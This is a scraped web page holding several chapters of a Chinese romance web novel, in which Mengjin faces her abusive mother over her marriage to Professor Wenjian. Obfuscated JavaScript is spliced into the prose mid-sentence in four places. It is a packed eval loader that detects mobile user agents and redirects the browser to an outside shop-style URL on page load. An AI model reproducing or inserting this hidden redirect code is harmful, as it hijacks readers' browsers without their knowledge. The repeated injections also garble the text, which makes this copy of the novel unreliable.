记忆里,无论两人闹得有多僵,孟瑾有多叛逆、不服管教,甚至有一次孟瑾喝酒喝到胃出血,半夜凌晨一个人在医院做手术,她赶过去的时候没有犹豫,当着那么多医生护士的面,直接抬手就给了她一巴掌,骂她不自爱,不好好照顾自己的身体。 孟瑾刹那都被打懵了,好一会儿才回过神来,然后咬牙狠狠瞪着她,双手都在不受控发抖,眼睛也很红,看着好像都快哭了。 但是因为那天是她的生日,也就是被视为唐婉清苦难日的特殊日子,孟瑾最终什么都没有说,而是就那样一声不吭沉默着,沉默着任凭自己的母亲当着那么多人一遍遍地打骂羞辱。 直到不知过了多久,孟瑾因体力不支昏死过去,那场在她二十六岁生日时极为荒唐可笑的闹剧才收了场。 孟瑾等了半天没等到对方说话,将要出声唤回她的思绪。 电话那头的唐婉清却在此时开了口,她像是蓦地失去了所有理智,一瞬间,把她能想起来的所有骂人的话都朝孟瑾骂了一遍。 气氛惨烈的一度让前排副驾驶的宋天宇都忍不住频频回头看过来:“……阿姨,您消消气。” 他欲言又止了好半晌,最后还是提醒说。 …… 门口忽地传来一阵很大力地拍门声,孟瑾回过神来,什么都没有说。 闻见也不催,也没再说话。 他像是知道她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038887|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受了委屈似的,轻轻抬手摸了摸她的脸颊。 浅棕色的眼眸定定看着她,闻见明明没有开口说任何话,却仿佛在刹那间,说尽了这世上所有最温柔的情话。 孟瑾抬眸看向他,没忍住抽了抽鼻子,然后很小声很小声地说:“闻见,你抱……你抱我一下好不好?” 闻见没有犹豫,伸手紧紧抱住她。 很用力很用力地抱着她,用力的,像是要将她揉进自己的身体。 孟瑾侧头将脸埋进他的颈窝,嗅着他身上淡淡的洗衣液味道,说:“我妈来了,她说她是来见你的。” 闻见点头,“好,没关系,你不用害怕,我跟阿姨说。” “我跟她说,我是真心爱你的,这一辈子我只爱你,只爱你一个人。”闻见说:“她如果不同意,我就求她,我一遍遍的求她,总有一天她会看到我的真心,然后放心的把你交给我。” “我不要,我不想让你见她,”女孩抽着鼻子摇摇头,撒娇似的:“你还没有跟我说过这么多话呢,干嘛跟她说那么多?” 闻见心里本就担心,听她这么说就更加肯定了自己的猜测;孟瑾不知道受了什么委屈,或者是她妈妈要带她回意大利,然后因为意见不同,两个人吵架了么? 可孟瑾并不是个会轻易外露情绪的人,以闻见对她的了解,若不是受了什么天大的委屈,她绝对不会像现在这样跟他撒娇,在他面前表现出脆弱的。 所以孟瑾她到底怎么了? 她是不是已经决定了要跟他们回去,所以她这是在……在跟他道别? 闻见被自己的猜测结结实实吓出了一身冷汗,他抿了抿唇,然后抬手试着轻轻拍了拍怀里姑娘的肩,低声问道:“小瑾,你……是不是哪里不舒服啊?要不就是肚子饿了,等下,我去给你做点好吃的好不好?” “我没有不舒服,肚子也不饿。”孟瑾说着,自顾自扯开他的胳膊站起来,眼神有些奇怪地看他一眼,道:“闻教授,你今天好奇怪啊,刚刚在房间还说要跟我回屋打地铺,怎么这会一听说我妈在门口,就抱都不敢抱我了?” 闻见;“……” 他想说自己不是那个意思,话没出口,就见孟瑾弯着眼睛笑起来,看着情绪也好了许多。 仿佛刚刚在他面前表现出来的撒娇、脆弱,以及别的更多,更复杂的情绪都是他在刹那间臆想出来的幻觉。 孟瑾看他一直看自己,也不说话,表情像是很困惑似的。 她就笑眯眯往后退了一步,又伸手在他眼睛跟前晃了晃,一本正经提醒道:“唔,闻教授不是要在丈母娘面前好好表现一把么?” 闻见:“对啊,但我现在还没见到阿姨呢。” 孟瑾:“是啊,还没见到呢。” 孟瑾:“不过你这半天也不开门,怎么能见到阿姨呢?而且,要是我是阿姨的话,估计现在已经不太满意了。” 闻教授:“……” 他一边迈开长腿跑过去开门,一边反应过来什么,在心里后之后觉地想:果然,不管再过多少年,他都比不过孟瑾,无论哪方面。 45.第 45 章 孟瑾在他身后站着,还是笑。 不知是闻见刚刚的拥抱给了她周身暖意,还是别的什么。 孟瑾突然感觉整个人都清醒了很多,身子暖暖的,软软的,眼眶也热热的。 她突然很想哭。 一阵窸窸窣窣的,门被打开了。 “阿姨好。”她听见闻见在跟唐婉清打招呼。 接着,唐婉清走进来,声音不算小地说了句什么。 孟瑾有点走神,没有听清,也没有回头看,虽然知道唐婉清的话是说给她听的,但孟瑾还是不想听。 一点都不想听。 孟瑾有些放空地抬眼看着窗外黑漆漆的天,凌晨的小区看着很安静,旁边的空调嗡嗡嗡地吹着热风,让人感觉很舒服。 孟瑾不知道唐婉清这次专程过来会说什么,自己和闻见又要面对什么。 但她想,自己应该也能应付。 毕竟这么多年她一直都是这么过的。 “小瑾,阿姨来了。”闻见一边招呼唐婉清和宋天宇沙发上坐,一边伸手拉了拉她的胳膊,帮她回过神来,说:“你先陪着坐一下,我去烧点水来。” “不用麻烦,就几句话,说完就走。”身后的唐婉清不冷不热出声打断他道。 孟瑾反手拉住闻见的手,安慰似的捏了捏,回头说:“那就不烧了,你在这儿陪我吧。” 闻见点头,也笑着捏捏她的手。 孟瑾转头看向沙发上的唐婉清,看到她摘下墨镜,眼圈有一点青。 不知道是没睡好还是因为被打了。 孟瑾知道黄钱会打人,之前她就见过几次唐婉清眼睛被打肿的,她想去找对方理论,问问到底是怎么回事,唐婉清就哭着喊着不让她去,孟瑾看她那么在意,似乎真的离了黄钱就活不了,便只得作罢了。 后来她被打的次数越来越频繁,孟瑾实在看不下去,就劝她离婚跟自己回国,唐婉清却像铁了心要一辈子跟着黄钱,不管孟瑾说什么她都不肯离。 还说她要是再说让她去离婚的话,就是存心不想让她活,是在逼着她去死。 哭着抱怨的间隙里,唐婉清还要不停地明示暗示让孟瑾好好听话,好好维持与宋天宇的关系,说那样,她在黄家的日子才会好过。 应该是来让她跟闻见离婚的。 还会拿外婆和孟强东出来说事。 那是唐婉清每次找她都必提的。 孟瑾在心里想。 唐婉清也抬头看着她,眼睛直直盯着她的眼,好半晌才说了一句话。 “等天一亮,你们就去把手续办了,中午12点的飞机,跟我和天宇回意大利。” 没等其余三人说出什么,她又抬眼看向闻见,语气里的压迫感依然很强地问:“是你怂恿她悔婚的?” 闻见手还牵着孟瑾的手,虽然动作很轻,但他还是感觉到,在唐婉清话音落下的一瞬,孟瑾突然很刻意地一下将自己的手抽了回去。 仿佛听到零点钟声的灰姑娘,她整个身体蓦地站直,然后率先开口答道:“不是闻见,是我。决定是我做的,婚也是我要结的,跟他没关系。” “你说什么?是你执意要跟他结婚?”唐婉清问。 孟瑾点头,语气听着比她平静许多:“是,是我执意要跟他结婚。” 唐婉清不知道是被一下气猛了,还是又想起来刚刚在电话里孟瑾忤逆她的事,她闻言没有再说任何话,而是直接起身走过来,直接伸手就要打孟瑾的脸。 孟瑾看出了她的意图,她要是侧身躲也能躲开。 但她没有躲,甚至连眼睛都没有眨。 因为从小到大,她早就习惯了唐婉清毫无缘由的情绪爆发,也习惯了不发一言地任其打骂。 不是她有多孝顺董事,而是她想让唐婉清快点爆发完,这样事情才能快点结束。 然而这一回,孟瑾却没有等到对方的巴掌落到她脸上,而是被闻见一把扯到怀里,然后耳边才传来“啪”地一声闷响。 那是唐婉清手打到了他的侧颈。 身高差的缘故,唐婉清没有打到闻见的脸。 闻见作为晚辈自然不能不顾礼数地阻止她打孟瑾,但他也做不到眼睁睁看着她被打,所以他只能一边将她扯进怀里护住,一边自己生生挨下唐婉清打来的巴掌。 唐婉清出手向来不会收着力,她这一下下去,闻见的下颌连着侧颈登时就落下了一个红红的巴掌印。 似乎没有想到他会主动过来挡,唐婉清表情一愣,像是刹那被人扼住了喉。 一时竟没再说什么。 她一眨不眨看着闻见,好几秒才反应过来。 然后开始伸手扯他的胳膊,一边扯一边大声吼:“你让开!你挡在前面干什么!?你看我今天不打死她!打死这个无情无义的白眼狼!” 她说着看向孟瑾,不管不顾指着她骂:“没良心的白眼狼!你外婆为了你被洪水冲走,你爸也是为了你出去赚钱被人勒死的!你还这么不听话!你怎么这么不听话?你是不是想气死我?把我气死你就开心,你就满意了是不是?” “你说……你说是不是!是不是啊啊啊啊!” 闻见没有说话,也没让开。 他的胳膊一直牢牢护着孟瑾的头和脸。 唐婉清越说情绪越上头,整个人就像疯了一样,直接不管不顾地一边用力扯闻见的胳膊,一边扯着嗓子大喊大叫。 旁边的宋天宇都看不下去了,忙走过来试着拉架。 接着,隔壁被吵醒的邻居也开始敲门,说让他们小声一点。 一片兵荒马乱里,唯有孟瑾是安静的。 因为这些所有早在唐婉清进门时,她就大概预料到,且已经想好了应对。 她在心里叹了一口气,然后跟闻见说:“你先松一下手,我看看你被打的严不严重。” 闻见不放手,不但不放手,还自顾自将胳膊收得更紧了,“不,我不要。” 他说:“我上次一松手你就直接去了欧洲,一走就是整整十年……这次我不听你的,不要再放手了。” 一句话落地,周遭几个人都同时禁了声,唐婉清和宋天宇四目相对,面面相觑。 似是完全没有想到,他们俩在十年前就有感情羁绊了。 宋天宇的第一反应就是:那他算什么?闻见的替身么?还是孟瑾用来疗伤的工具? 唐婉清和他也是差不多的想法,一时又生气又尴尬,又害怕宋天宇少爷脾气上来转头走了。 那她回去就更不好跟黄钱交代了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064582|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 孟瑾抿了抿唇,扯开闻见的胳膊站起来,抬眸看着他被打的又红又肿的侧脸,半晌,踮起脚尖吹了吹,问:“很疼是不是?” 闻见摇头说:“不疼。” 他亮亮的眼眸盯着她的眼,神情有一点落寞,声音也很低:“但是看着你受苦,我的心很疼……” 接着,他又说:“小瑾,你别离开我,我们不离婚好不好?” 孟瑾一滞,可能是被说穿了心事的缘故。 她忽然低下头,没有回答,也不敢再看他那双藏着滚烫深情的眼。 如果是之前,甚至是昨天,在孟瑾不知道闻见跟她结婚其实就是为了给她一个容身之所,是为了帮她解围,在她没有吻过他的嘴唇,与他十指相扣,感受过不一样的心跳加速时,孟瑾都会毫不迟疑的告诉他不行、他们必须离婚。 可是偏偏是现在,是她知道所有真相,感受过他极致温柔的现在。 孟瑾张了好几次的嘴,却还是什么都说不出来。 闻见看着那个爱用美人计骗人的小姑娘突然沉默下来,一句话也不说,像是完全没听到他的话似的。 他又忽然很自责地想:孟瑾都已经这么难了,他干嘛还要这样苦苦相逼,让她更加为难呢? 自己这样真的是爱吗? 还是……以爱为名的自私?是想控住她,不让她离开? 大约十几秒的样子。 闻见率先反应过来,他是很舍不得孟瑾,不想与她分开,哪怕一分一秒都不想。 可同时,他又很清楚孟瑾的爸爸和外婆都不在了,她妈妈就是在这世上她唯一的亲人——可能作为她的母亲唐婉清自己都没发现,孟瑾其实是个很重感情的人,不管是之前陈朵朵的事,还是今天唐婉清一进门,她就因为她眼睛上的伤一下走了神都能看出来。 想着,闻见又开了口:“小瑾,刚刚是我太激动了,如果你想离婚,我也……” 话没说完,就被回过神来的唐婉清打断了:“你闭嘴——孟瑾,你跟我说,你到底要不要跟他离婚?” 她看着孟瑾,逼着她立刻就要作出回答:“孟瑾!我在问你话,你到底离不离婚?!” 孟瑾也看着她,恍惚地眨了一下眼睛。 她想张嘴说话,嘴角却是有千金重,任她如何竭尽全力还是动不了一点。 “孟瑾!”唐婉清继续喊。 孟瑾还是静静的,表情眼神都很淡定。 仿佛只是不想说话,不想说任何话而已。 对方彻底没了耐心,伸手要打她,却被慢半拍反应过来的宋天宇一把抓住了胳膊:“阿姨,你等一下,让我先问一句。” 他说着,转头看向孟瑾,话还没出口,眼睛已经红了,“小瑾,你跟他高中就在一起了么?” “所以……所以在你心里,我是他的替身么?”他伸手指着闻见问。 他们都在逼着孟瑾说话,可是孟瑾就是说不出来任何话,她感觉自己的脑袋昏昏沉沉的,好像有一点疼,身子也有些发软,使不上劲儿,仿佛下一秒就会晕倒似的。 就在这时,闻见却突然伸手把她拦进怀里,他一边抬手蓦地将她抱起来,一边语速飞快地问:“怎么样?怎么样啊小瑾?小瑾,你能听到我说话吗……” 46.第 46 章 闻见的声音语无伦次的,面上的表情也很慌乱。 他抱着她的手在微微颤抖,看着像个迷茫、不知做错了什么的孩子。 孟瑾被他牢牢抱在怀里,耳边是他又快又重的心跳,她听着,却很安心。 仿佛有什么魔力似的,瞬间就隔绝掉唐婉清和宋天宇没完没了的逼问,孟瑾刹那回过神来。 悸动的心跳渐渐平复,眼神转而清明。 她看着闻见着急又心疼的模样,忽然咧嘴笑了。 心想:怎么这么笨啊,像个认死理的大狗狗。 “怎么样?好点没,回过神来了吗?”闻见似乎是想低头蹭一蹭她,却又忌惮着对她的承诺,迟迟不敢有动作。 他只是一遍遍地询问她有没有好一些,“孟瑾,孟瑾你说话啊……不然我们去医院好不好?” 孟瑾笑着摇摇头,主动伸手摸了摸他的脸颊。 她说:“没晕,只是想睡觉。” 闻见这会儿没有心思跟她开玩笑,他很认真地说:“去沙发上坐一会好不好?” 孟瑾没有回答他的话,她瞬间转而平静的脸上看不出一丝波澜,她只是定定看着他,声音很轻很严肃地说:“离婚吧。” 闻见以为自己的耳朵出了问题,下意识问:“什么?” 说着,才后知后觉反应过来,孟瑾说的是离婚,是她决定了要跟他离婚。 他的预感果然成了真,孟瑾果然……果然还是要跟他离婚。 “天亮就去吗?”他问。 孟瑾摇头。 她从他怀里跳下来,抬头跟同样愣住的唐婉清说:“我可以跟他离婚,但不是今天,时间我自己定。” 她又侧头看向旁边的宋天宇,回答了他之前的问题:“你不是他的替身,你们一点都不像。” 闻见,他是她心里永远的唯一,他是无可替代的。 唐婉清见孟瑾总算松了口,答应了要跟闻见离婚,虽然不是天亮就跟她回意大利,但也算此行没有白跑一趟,最重要的目的已经达到了。 便沉默着点了点头,难得没再说什么。 宋天宇知道自己不是替身,孟瑾也要跟他们回去,心里登时开心起来,一边有些激动地说:“小瑾,你放心,只要你愿意跟我回去,我不会在意你跟他结过婚的事,你还是我的正牌女朋友,什么都不会变的。” 孟瑾却像没听到似的,她没说什么,甚至没有抬头看对方一眼。 而是自顾自转身回屋了。 闻见抬头看着她一步步走远的背影,心里突然猛地一抽,像是有什么东西硬生生地从他胸口被挖出来,拿走了。 放手真的好疼啊,每次都像……像心被掏空了似的,都那么痛。 不知过了多久,直到旁边两人转身离开,硕大的客厅只剩他一个人呆呆站着。 闻见才又回过神来,他伸手扶着后头的茶几慢慢蹲下,看着脚边跑来跑去似是在安慰他的福袋,好一会,才伸手摸了摸它的脑袋,声音很低很低地说:“福袋,孟瑾要走了,以后家里就剩我们两个了。” 福袋闻言停住脚步,抬头看了他一眼,然后什么也没说,就哼哼唧唧爬到他腿上了。 孟瑾虽然嘴上说着想睡觉,但拖着疲软的身子回到房间,躺在床上,她却是翻来覆去一点都睡不着。 脑子里还是不停播放着刚刚客厅里兵荒马乱的一幕幕,她原本是说不出离婚的话,无法再拒绝闻见一次的。 可是就在刚刚,在他颤抖的双手紧紧抱着她,一遍遍语无伦次唤着她的名字,问她有没有事,在他满脸心疼无措的看着她,亮亮的眼眸都不受控浮了一层水气,就在那一瞬,在那个时候。 孟瑾突然就下定了某种决心,她想;她不能再这么自私,不能再让闻见每天都跟着她过这种提心吊胆,不知哪一刻就会失去的日子了。 俗话说,长痛不如短痛,此时闻见还不知道她也喜欢他,所以就算分开,他也只会以为是他自己打动不了她的心,受伤的只有他一个人而已,那样他就不用分出精力来心疼她,不会觉得是自己没用,保护不了她,才让她跟他们离开的。 而且,她知道的事那么多,宋家和黄家都不会轻易善罢甘休,不会放过她的,还有唐婉清也在他们手里,若是孟瑾执意不跟他们回去,以卓阳那种杀伐果断的性格从黄钱手里带走唐婉清,完全就是易如反掌的事。 …… 次日,孟瑾很早就起来,简单洗漱后,她给自己化了个淡妆提气色,又扎了个低丸子头,戴了一副比较大的圆形耳环,上身穿一件米白色羊绒打底衫,下身则是一条简单的棕色长裙。 不同于之前明艳洒脱的御姐风格,今天她给自己搭的这套,无论是妆容还是穿着都或多或少地显出几分优雅知性来,看上去也更像个教授太太该有的样子。 接着,她带着福袋去楼下买了两份早餐,进门换鞋的时候,刚好闻见也起了。 他眨了眨干涩的眼睛,抬头看见玄关处的孟瑾,眼神蓦地一愣,差点都没认出她。 孟瑾侧头瞧见他愣愣的模样,主动弯起嘴角笑了笑,她一边走过来把手里的包子豆浆放到餐桌上,一边回头冲他一笑,说:“闻教授,过来吃早饭。” 接着又道:“本来想着自己做的,但是想了想,又发现我……好像除了煮泡面,再就没什么能拿得出手的了。” “先凑合着吃点,中午请你吃大餐,”孟瑾说着,将身上的浅灰色大衣脱下来搭到椅背上,抬手哈了口气,又拉开椅子坐下:“今天天气还挺好的,没有下雪,就是这会儿风有点大,十点左右应该会好点,咱俩十点半出门吧?” 闻见没有说话,也没过来吃早饭。 他不太舒服的清了清嗓子,转身去了窗边,背对着孟瑾。 孟瑾知道他在想什么,起身到了他身边,看着窗外慢悠悠冒出的红日。 “早餐是我买的,没下毒,放心吃。” 她故意东拉西扯地说。 “万一你跟老板提前商量好的呢,我怎么知道?”闻见嗓子很哑,声音也低低的,像是一晚上没睡似的。 孟瑾笑了笑,没再把话接下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081765|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>闻见看着她这副完全不像自己的模样,心里就跟被抓了一把似的,他转头看着她,很严肃地说:“孟瑾,离婚是你的自由,不用觉得欠我什么,也不用为了弥补就改变自己。” 因为他认识的孟瑾从来都不是这样的。 即便两人要离婚,即便以后只能天各一方,即便他可能这辈子再也见不到她了,闻见还是希望她能好好做自己,不想她因为要离婚就觉得对不起他,就故意把自己打扮成一个标准的教授太太模样。 因为孟瑾就是孟瑾,她不可以,也不可能成为任何男人的附属品。 包括他自己也不行。 孟瑾抬眸看着他,笑了笑,却没说话。 闻教授那么笨,他怎么会知道? 她根本就不是在弥补他,也没有改变自己,她只是心里有点痛,有点不舍,还有点难过。 所以她想在离开前和他做一对平凡的夫妻,尽一尽妻子的义务,哪怕只有几天时间,也想真真切切地感受一下做闻太太的感觉,等到未来某天,她再想起来就不至于像之前那样,只能在异国他乡抱着别人哭了。 两人就维持着那个姿势似乎站了很久。 直到窗外鱼肚白的天空彻底被金色的朝阳覆盖,小区里陆续有人开车出去,或是穿着厚实外衣外裤的老人小孩摩拳擦掌的出来在雪地里散步锻炼。 闻见这才忽然转过来,一声不吭伸手将她扯进怀里,很用力很用力的抱着,“小瑾,我——” 他明明想说什么,可是低眼对上孟瑾那双红红的,亮亮的,仿佛藏着满天星河的眸子,他就连一个字也说不出来了。 孟瑾说得对,她又不喜欢他,就算自己强行将她留在身边,留她一辈子,又有什么用呢? 闻见的举动来的突然又热烈,孟瑾根本来不及反应,就狠狠一头撞进他怀里,扑面而来的烟草味和鼻尖撞到他胸口的刺痛同时蔓延开来,女孩皱眉闭了闭眼睛,抬头的刹那,眼圈一下红了。 “你想干吗?”她一眨不眨看着他,声音小小的,眼睛红红的,整个人乖乖贴在他怀里,仿佛一只受了委屈的小狸猫。 温柔又倔强。 闻见动了动唇,却没说出话来。 孟瑾伸手勾住他的脖子,眼神相接,气息纠缠,空气里都弥散起暧昧的味道。 她看着一片暖洋洋的晨光下眼前男人清骏好看的眉眼、和那吻技很烂却很对她胃口的嘴唇,轻声问:“闻教授,你抽烟了么?” 闻见点头,“是,晚上睡不着,抽了你的烟。” “然后睡着了吗?” “没有,还是睡不着。” 他一边偏头清了清嗓子,一边情不自禁将抱着她的手臂收得更紧,突然扯开话题说:“孟小瑾,我能亲你一下么?” 孟瑾点头表示同意。 闻见低头靠近,唇瓣方才轻轻吻上她的嘴角—— 门口忽然传来一阵窸窸窣窣的响动,开门进来的闻女士抬头就撞上此情此景,她不置可否地“哎呀”了一声,说:“闻见,你个臭小子,你发什么疯呢!?” 47.第 47 章 人生很多事情就是这样,一瞬而至,来不及反应的。 孟瑾不知道闻见要怎么跟闻女士说,说两人酒后冲动了,还是说他们要离婚了,这是吻别? 其实说什么都没关系,因为大概率以后也不会再见面了,她在闻女士心里是什么样的人也不重要了。 闻见闻言一滞,率先抬了头:“妈,我……“ 他通通吐吐的,半晌没说出一句囫囵话。 孟瑾表情淡淡地扯开他的胳膊,转身看过来,唤了句:“阿姨好。” 闻女士见她转过来,方才看清自家儿子抱着的姑娘是谁,心里默默松了口气,她还以为闻见伤心过度,一时把持不住做了对不起孟瑾的事呢…… 还好还好,只是虚惊一场。 闻女士点点头,笑着走过来,有点抱歉地冲闻见耸了耸肩,一边伸手拉住孟瑾的手,撒娇似的:“哎呀,小瑾,不好意思啊,我刚刚进来没看清楚,以为你老公做了对不起我闺女的事呢。” 孟瑾一愣:“啊?” “是真的呀,阿姨心里早就拿你当亲闺女啦,”闻女士笑眼弯弯的,拉着她一边往客厅走,一边继续半撒娇半抱怨地说:“不过你不用有什么压力的,反正我闺女只要站在这儿,就不知比闻见那臭小子好了多少啦。” “你都不知道,我平时叫他跟我出去逛个街,买买衣服,他都不肯去,每次都打发我去做美容。哎,你一会儿有没有事呀?没有的话,陪我出去逛逛吧,让他个懒货一个人呆着陪狗玩吧。” 孟瑾不知道闻女士是不是已经知道了她要跟闻见离婚的事,所以她带她出去是有话要说吗? 还是说,她现在还不知道,就只是简单出去逛个街。 但孟瑾也没想太多,就点头答应下来。因为和闻见结婚这件事情从一开始就是她不对,是她没有考虑清楚,光想着自己的处境,却没想到,两人结婚会牵扯出这么多事,会给闻见带来这么多麻烦。 所以一会儿出去不管闻女士要说什么,还是要拿出婆婆的身份来指责她,孟瑾都愿意欣然接受。 如果有机会能让她弥补一点,孟瑾心里也会好受些。 她顺手套了件外套,就跟着闻女士出门了。早上天还是很晴的,转眼的功夫,一团团的乌云就压过来,夹着呼呼作响的冷风直往人骨缝里钻。 她方才在闻见身上蹭的那点余温,也仿佛瞬间凉透了。 “哦哟,这天真冷呀,”闻女士说:“一会儿咱们去咖啡店喝咖啡吧,还能蹭蹭空调。” 接着又说:“哦,你不爱喝苦的是吧,那你喝奶茶哈,冬天的第一杯奶茶。” 孟瑾笑了笑,说:“好,谢谢阿姨。” “你猜我怎么知道你不爱喝苦的?”闻女士闲聊似的。 孟瑾摇摇头,本来想说不知道,犹豫了一秒,又改口道:“是班长跟您说的么?” “没有啦,他不跟我说这些。” 孟瑾笑着点点头,又说:“班长他就是话比较少,但是感觉他跟您的相处又很融洽,不像有些人家的孩子从小就比较怕家长,相处起来也没那么融洽。” 闻女士闻言忽然停住步子,侧头看着她说:“小瑾,你不用怕我,也别想太多。我喜欢你不全是因为闻见的。” 孟瑾是真的不会跟长辈相处,也不知道要接什么,她轻轻捏了捏垂在身侧的手指,扯着嘴角笑道:“好……” 闻女士笑着拉起她的手,一边看,一边说:“真好看,手指又白又细的,跟我年轻的时候怎么那么像。性格也是,又乖巧又不爱说话,我年轻的时候也这样。后来遇到你叔叔,嗯,就是闻见他爸爸,当时呀,他整个人又高又帅的,脾气也好,在我们医院住院的时候,表现的可积极了,每天都抢着帮我干活。” “我哪见过那阵仗?几乎是一秒就沦陷了,但是小姑娘脸皮薄呀,又不可能主动去跟他说话,而且,我每次见到他还故意表现的特别反感,就恨不得他能快点离开,别来烦我一样。” 孟瑾听着,在脑子里想象了一下那个场景,忽然没忍住笑了:“感觉叔叔跟班长差不多,都是实干型的。” “长得挺像的,大高个也随他爸,性格有一点像,但又不太像,”闻女士带着她逛了商场,又逛饰品店的,看着心情似乎挺好:“闻见太死心眼啦,你叔叔比他聪明,也比他勇敢。他跟我说,见到喜欢的人就要说出来,让对方知道,让自己的心意得到释放,不管结局是什么,至少彼此都努力过。” ”到了以后天各一方也好,生离死别也好,都不会因为自己做了胆小鬼后悔自责啦。” 孟瑾抿了抿唇,下意识狠狠攥了一下大依口袋里的手,指关节因用力过度发出清脆的响声。 她听出了对方话里的言外之意,闻女士已经知道她要跟闻见离婚的事了,而且……而且她好像还看出了她喜欢闻见又不敢承认的纠结。 孟瑾不知道这个时候自己还能说什么,或者是因为她心里愧疚,因为她欺负了她的儿子,也不能为他许下承诺,所以就连在闻女士面前都不敢承认什么。 她生怕自己松了口又做不到,给闻见带来更大的痛苦和难过。 为了她,他不值得。 “咦,你今天是盘发呀?”闻女士跟店员聊着聊着天,突然又想起她来,回头笑着问一句。 孟瑾点头笑了笑,说:“嗯,早上起来突然觉得洗头好麻烦,就扎起来了。” “哈,那正好。”闻女士也笑着点点头,一边招手示意店员小姑娘把她看上的那款翡翠簪子拿过来,食指差不多的长度,整体设计比较复古大气,首部还相了一只小麦穗,是纯金的。 “小姑娘,麻烦把那只簪子拿过来,给我家闺女试试。” “嗯嗯,好的,您女儿长得明艳动人,气质又好,戴这只簪子的确很好看的。”小姑娘笑嘻嘻的,嘴巴很甜。 闻女士笑着伸手接过,孟瑾摇头想拒绝,话还没出口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13117223|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,簪子已经被闻女士一抬胳膊戴好了。 孟瑾一滞,伸手要取,又被闻女士眼疾手快一把拉住。 她说:“先别拿下来,让我看看适不适合。我还有话跟你说呢。” 孟瑾眨了眨眼睛。 感觉自己有点嘴笨,一时也不知道要说什么了。 闻女士抬头仔细看了看,觉得还挺适合的,就跟旁边的小姑娘说:“就这个吧,把盒子和发票给我就行,一会儿我去前台结账。” 小姑娘笑着点头,刚要说话。 孟瑾却急急出声叫住她,“等一下,先不要开票。” 接着又跟闻女士说:“阿姨,我不能收您这么贵重的礼物,上次你就给我买了那么多的东西,还有叔叔给您的那只翡翠簪子你也给我了……我真的不能再要这个了。” “不是说了你是我闺女吗,妈妈给女儿买东西有什么不行的?”闻女士说:“至于你叔叔的那个簪子,本来就是他们家祖上传下来,婆婆传给儿媳妇,儿媳妇做了婆婆再传给孙媳妇,一直都是这样的。” “这个是我觉得好看,适合我闺女,所以才给你买的,你就别再推辞了。而且我不是说了吗,我还有话跟你说呢,你总是这样客气让我怎么开口呀?” “可是阿姨,这个太贵重了,而且我……”孟瑾想说她已经决定要跟闻见离婚了,所以她没有资格做她的女儿。 然而话没说完,就被闻女士出声打断了:“我知道你要说什么,但是你先听我说一句好不好?我昨天晚上接到闻见的电话,他说你要走了,因为你妈妈不同意你们两个的事,我挂了电话想了一个晚上,应该约闻见出来聊还是应该约你出来,最后我终于想明白了。” “我教了闻见二十多年,结果到了关键时刻他还是留不住自己的幸福,这是他自己的问题,我也没有什么再跟他说的。但是话又说回来,孩子做错事情,总归还是我这个做父母的没有教好他,他的优柔寡断,不坚定,不勇敢都有我的责任,这是我的问题,所以我今天约你出来就是想给你道个歉,但是不是为闻见,只是为我自己。” 孟瑾愣愣地看着她,完全说不出话。 闻女士笑着拍了拍她的手臂,又说:“我不管你跟闻见以后要怎么样,我只是想让你在离开之前,以女儿的身份叫我一声妈妈,因为我看见你,就像看到年轻时的自己一样,我本来也打算生个女儿的,可是你叔叔他工作太忙了,我们最终也没能完成这个心愿。我今天给你买的这只簪子也不是想为闻见说情,只是想给你留一些纪念,到时候你到了外国看到它也能想起我。” 说到这儿,她又不好意思地笑了笑,说:“不过,小瑾,阿姨对你还是有私心的,我还是希望你跟闻见,你们能好好谈谈,毕竟遇到喜欢的人不容易,闻见他也是真的很喜欢你,如果你认真考虑后,还愿意再给他一个机会,阿姨保证他一定会有进步的。” “所以小瑾,你愿意给我一个做你妈妈的机会么?” 48.第 48 章 午后两点,又加周末的缘故,饰品店里熙熙攘攘的,人很多。 